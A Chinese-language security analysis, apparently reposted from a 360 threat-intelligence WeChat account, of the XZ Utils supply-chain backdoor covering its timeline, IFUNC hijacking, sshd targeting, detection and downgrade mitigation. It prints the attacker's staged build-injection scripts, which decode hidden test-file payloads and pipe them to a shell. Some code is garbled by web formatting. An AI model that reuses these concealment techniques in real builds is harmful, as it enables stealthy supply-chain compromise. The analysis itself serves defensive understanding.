XZ压缩库是基于LZMA算法的高效压缩工具,因其卓越的压缩比和速度平衡而广受欢迎,它在Linux发行版和开源社区中尤为流行,为软件分发和数据存储提供了一种可靠的压缩解决方案。
2024年3月29日,一位微软的工程师在进行软件性能基准测试时,发现系统SSHD进程CPU占用飙升的异常情况,进一步定位到SSHD中调用的XZ压缩库模块疑似被安插后门,再经过安全社区和开源社区的一系列调查,最终确认这是一次非常严重的供应链攻击事件。
此次调查发现XZ压缩库项目的主要维护人员(ID为JiaT75)在近期的一次代码提交中加入了bad-3-corrput_lzma2.xz和good-large_compressed.lzma这两个测试文件,XZ压缩库的编译脚本会在特定条件下从这两个文件中读取恶意荷载对编译结果进行修改,其利用glibc的IFUNC特性针对编译的二进制文件植入了运行时后门代码,该后门代码在特定条件下会HOOK系统OpenSSH 服务的RSA_public_decrypt函数,致使攻击者可以通过构造特定验证数据针对受害者的远程SSH服务进行任意操作或远程代码执行。
2022年10月,JiaT75加入Tukaani项目组;
2023年,逐步参与xz项目的维护,获得提交代码的权利;
2024年3月8日至3月20日期间,提交bad-3-corrput_lzma2.xz和good-large_compressed.lzma恶意测试文件;
2024年3月29日,微软工程师Andres Freund发现shhd的CPU占用率异常,随之进行排查,发现xz/liblzma模块存在后门,并立即向oss-security报告此事。
攻击者利用的GLIBC IFUNC(Indirect Function)特性是一种强大的软件编译中间层机制,它允许开发者为同一个函数接口提供多个实现版本,并且能够在程序运行时判断最优系统环境及条件,动态选择最合适的版本来执行,其在运行时机制主要涉及到间接函数和解析器函数。
IFUNC特性虽然为程序的性能优化和平台兼容性提供了更多的可能性,但也存在被恶意利用的风险,其主要的安全隐患包括:
-
劫持函数风险
如果攻击者能修改解析器函数,就可以控制间接函数指向任何他们选择的函数实现,这些函数可能包含恶意的代码。
-
绕过安全措施
通过控制间接函数的指向,攻击者可能还会选择代码中那些存在安全漏洞或弱安全检查的函数,从而控制程序流程绕过一些安全限制,执行那些不应被允许的操作。
-
隐藏攻击载荷
攻击者可以预先部署恶意函数实现,然后通过解析器函数在合适的时机激活这些恶意实现,构成非常复杂的攻击策略。
后门植入过程
攻击者整个后门的编译植入流程如下,主要分为三个阶段:
-
Staget1(M4编译宏) – 恶意数据还原恢复 -
Stage2 (bash脚本)– 恶意数据提取合并 -
Stage3(bash脚本) – 恶意荷载释放编译
Stage 1
Stage1阶段运行的是一个恶意的m4编译宏文件,从xz-utills的源码中可以看到build过程中存在以下恶意脚本。
这段脚本首先从文件中读取来自tests/files/bad-3-corrupt_lzma2.xz的字节,再运行tr进行以下替换:
-
0x09 ( t ) 替换为 0x20 -
0x20(空格)被替换为 0x09 -
0x2d ( -减号 ) 替换为 0x5f -
0x5f ( _下划线) 替换为 0x2d
从而恢复出新的bad-3-corrupt_lzma2.xz,再使用xz -d命令进行解压。
Stage 2
bad-3-corrupt_lzma2.xz解压后内容如下:
####Hello####
# a few binary bytes here, but as it's a comment they are ignorred
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "114-321322-37735-4714-34-1350-113" "-377")|xz -F raw --lzma1 -dc|/bin/sh
####World####
此阶段的Bash脚本初始化操作定位至源代码所在目录。随后,通过一连串的head命令筛除并整合文件内的空白部分。接下来,利用tr命令执行一系列文本替换工作。完成这些操作后,脚本采用xz命令对数据进行解压,并将解压结果通过管道直接送入shell执行。
Stage 3
此阶段的Bash脚本实现检测环境、解压提取恶意对象文件(liblzma_la-crc64_fast.o 和liblzma_la-crc32_fast.o)。
通过关键片段分析,可以看到代码检查$build变量是确保当前系统是x86_64架构,并且是Linux-gnu,这表明后门主要针对64位的Linux系统。
xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/(.)/1n/g" | LC_ALL=C awk 'BEGIN{FS="n";RS="n";ORS="";m=256;for(i=0;i <m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (nf<1?rs:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}'="" | xz -dc --single-stream ((head -c +$n>
/dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
</m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x">
if ! test -f liblzma_la-crc64-fast.o; then
exit 0
后门攻击策略
最终编译的XZ压缩库(liblzma.so)在开源软件体系中被大量引用,流行Linux发行版本(如ubuntu)中就被超过一千多个包直接引用,这些应用又有各自海量的交叉引用,直接引用或间接引用该库的项目都可能被攻击,这些复杂的交叉引用依赖为该后门在Linux生态体系中提供了难以想象的巨量攻击面。
在此次后门荷载的恶意代码里,攻击者只选择适配攻击sshd进程,Linux系统中的sshd进程并不会直接引用xz压缩库,但一些Linux发行版本(如ubuntu)使用systemd进行服务管理,因此需要对openssh服务进行补丁而引入systemd的代码库。
被systemd管理的服务使用消息通知机制需要调用systemd库(libsystemd.so),因此导致XZ压缩库通过systemd库被openssh服务间接调用。
攻击者正是利用这个条件成功劫持了Linux系统关键的SSH远程管理服务,这也是后门在iFUNC编译植入配置只针对64位的Linux系统的原因。
后门代码简要分析
后门初始化
crc64_resolve() -> is_arch_extension_supported() -> __get_cpuid() -> call_backdoor_init() -> backdoor_init()
0:_Lrc_read_destroy:
1:_cpuid_ptr
2:backdoor_init_stage2__Llzma_delta_props_encoder
条件检测
后门激活
恶意提交行为分析
安全社区统计了JiaT75账号的代码提交时间分布,从时间分布中可以看出,其在2024年3月这次的恶意代码提交时间存在非常明显的异常,与以往的历史规律时间相差了近11个小时,这与该人员的作息时间完全相反,所以不排除 JiaT75账号被盗用的可能。
全球测绘影响分析
根据各Linux发行版本的公告,部分Debian unstable 和 Kali Linux 滚动版本的和OpenSUSE 的特定 openssh 版本最容易受到影响。我们针对这部分的SSH服务在 360QUAKE上进行了全网探测,结果如下:
后门本地检测缓解方法
目前后门代码只针对X86 64位Linux的SSH服务进行了攻击适配,因此业务需优先排查此类Linux系统和虚拟机容器等。
本地检测方法
检查“xz”版本是否为受影响的版本(5.6.0 或 5.6.1),可以通过运行以下命令检测:
strings `which xz` | grep '5.6.[01]'
which xz` | grep '5.6.[01]' strings `
xz (XZ Utils) 5.6.1
$ strings `which xz` | grep '5.6.[01]'
xz (XZ Utils) 5.6.0
未存在后门不输出内容。
修复缓解方法
如果确认”xz”版本受影响,可以通过降级到5.4.5版本进行缓解,如执行命令:
sudo apt install xz-utils=5.4.5
360高级威胁研究院
原文始发于微信公众号(360威胁情报中心):XZ压缩库供应链攻击事件深度刨析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论